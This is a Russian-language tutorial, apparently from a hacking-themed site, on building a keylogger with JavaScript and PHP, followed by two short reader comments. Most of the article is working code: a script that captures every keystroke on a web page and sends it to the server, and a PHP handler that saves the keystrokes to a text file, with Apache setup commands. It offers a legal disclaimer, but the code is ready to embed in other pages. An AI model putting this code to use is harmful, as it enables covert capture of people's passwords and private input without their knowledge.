Мы уже рассказывали, как написать кейлоггер на C#. Сегодня продолжим тему клавиатурных шпионов и поговорим о создании простого кейлоггера с помощью Javascript и PHP.
Еще по теме: Как написать кейлоггер для Windows
Как написать кейлоггер на Javascript и PHP
Кейлоггер (или регистратор нажатий клавиш) — это тип шпионского ПО, которое отслеживает и записывает набранные на компьютере или мобильном телефоне символы. Обычно его целью является получение доступа к личной информации пользователя, такой как пароли и другие личные данные.
Кейлоггинг является незаконным, если он установлен без разрешения владельца устройства и для получения доступа к его личной информации. Поэтому используйте эту информацию для расширения своих знаний, а не для совершения вредоносных атак. Ни редакция spy-soft.net, ни автор не несут ответственности за ваши незаконные действия.
Установка Apache
Во-первых, для размещения базовой HTML-страницы нужен веб-сервер. Если в вашей системе Linux не установлен веб-сервер Apache, воспользуйтесь следующей командой:
1 |
apt install apache2 |
Затем смените каталог на место расположения веб-сервера Apache.
1 |
cd /var/www/html |
Это место, куда я помещу файлы веб-сайта.
Базовая HTML-страница
На этом этапе создадайте в терминале базовую веб-страницу с помощью какого-нибудь текстового редактора (в моем случае — nano).
1 |
nano index.html |
Добавьте следующий код:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
<!DOCTYPE html> <html> <head> <title>Кейлоггер</title> <meta charset="utf-8"> <style> textarea { width: 40%; height: 200px; font-size: 18px; } </style> <script src="keylog.js"></script> </head> <body> <h1>Всё, что вы печатаете, будет записано!</h1> <textarea></textarea> </body> </html> |
Важные моменты:
Следующий код включает внешний JavaScript-файл с именем keylog.js, который я создам на следующем этапе. Этот скрипт будет отвечать за работу с функцией кейлоггинга:
1 |
<script src=”keylog.js”></script> |
Следующий код создает текстовое поле, в котором пользователь может вводить текст с помощью клавиатуры:
1 |
<textarea></textarea> |
JavaScript кейлоггер keylog.js
Создайте файл keylog.js с помощью текстового редактора:
1 |
nano keylog.js |
Добавьте следующий код:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 |
var keylog = { // НАСТРОЙКИ cache : [], // временное хранилище для нажатий клавиш delay : 1000, // как часто отправлять данные на сервер sending : false, // флаг для разрешения отправки одного пакета за раз // ИНИЦИАЛИЗАЦИЯ init : () => { // ЗАХВАТ НАЖАТИЙ КЛАВИШ window.addEventListener("keydown", evt => keylog.cache.push(evt.key)); // ОТПРАВКА НАЖАТИЙ КЛАВИШ window.setInterval(keylog.send, keylog.delay); }, // AJAX send : () => { if (!keylog.sending && keylog.cache.length != 0) { // "БЛОКИРОВКА" ДО ОТПРАВКИ ЭТОГО ПАКЕТА НА СЕРВЕР keylog.sending = true; // ДАННЫЕ О НАЖАТИИ КЛАВИШ var data = new FormData(); data.append("keys", JSON.stringify(keylog.cache)); keylog.cache = []; // очистить нажатые клавиши // ОТПРАВКА ПО FETCH fetch("keylog.php", { method:"POST", body:data }) .then(res=>res.text()).then(res => { keylog.sending = false; // разблокировка console.log(res); // необязательно }) .catch(err => console.error(err)); }} }; window.addEventListener("DOMContentLoaded", keylog.init); |
Этот код, по сути, создает базовый кейлоггер, который перехватывает нажатия клавиатуры пользователем на веб-странице. Кейлоггер собирает данные нажатия клавиш и отправляет их на сервер.
Собранные данные передаются серверному скрипту keylog.php, который мы создадим на следующем этапе.
Файл захвата keylog.php
Создайте еще один файл с именем keylog.php.
1 |
nano keylog.php |
И добавьте следующий код:
1 2 3 4 5 6 7 8 9 10 11 12 |
<?php // (A) ОТКРЫТИЕ ФАЙЛА ЖУРНАЛА КЛАВИШ В РЕЖИМЕ ДОПОЛНЕНИЯ $file = fopen("keylog.txt", "a+"); // (B) СОХРАНЕНИЕ НАЖАТЫХ КЛАВИШ $keys = json_decode($_POST["keys"]); foreach ($keys as $k=>$v) { fwrite($file, $v . PHP_EOL); } // (C) ЗАКРЫТИЕ ФАЙЛА fclose($file); echo "OK"; ?> |
Это PHP-скрипт, который сохраняет перехваченные нажатия клавиш в текстовый файл под названием keylog.txt, поэтому убедитесь, что вы создали текстовый файл keylog.txt с помощью текстового редактора.
На данный момент в веб-директории Apache ( /var/www/html) должно быть четыре файла. Вы можете использовать команду ls для просмотра списка файлов.
Теперь перезапустите веб-сервер с помощью команды:
1 |
service apache2 restart |
Давайте откроем веб-страницу в браузере, используя мой локальный IP-адрес.
В поле textarea я введу к примеру такой текст This keylogger works! (Этот кейлоггер работает!).
Теперь переключимся на местоположение веб-сервера Apache и откроем файл keylog.txt.
1 |
nano keylog.txt |
Как видите, я успешно перехватил нажатия клавиш.
Заключение
Из этой статье вы узнали, как создать кейлоггер, используя JavaScript и немного PHP. Имейте ввиду перехват нажатий клавиатуры без ведома пользователя является незаконным и неэтичным.
ПОЛЕЗНЫЕ ССЫЛКИ:
- Как написать кейлоггер на Go
- Простой кейлоггер на Python
- Использование pynput для создания кейлоггера
А почему именно Apache надо использовать? Можно что-то другое?
Можно, конечно. Apache — это просто один из самых популярных и простых серверов для таких задач. Но ты можешь использовать, например, Nginx или даже встроенный сервер в PHP.
Где будет храниться перехваченная инфа?
В папке /var/www/html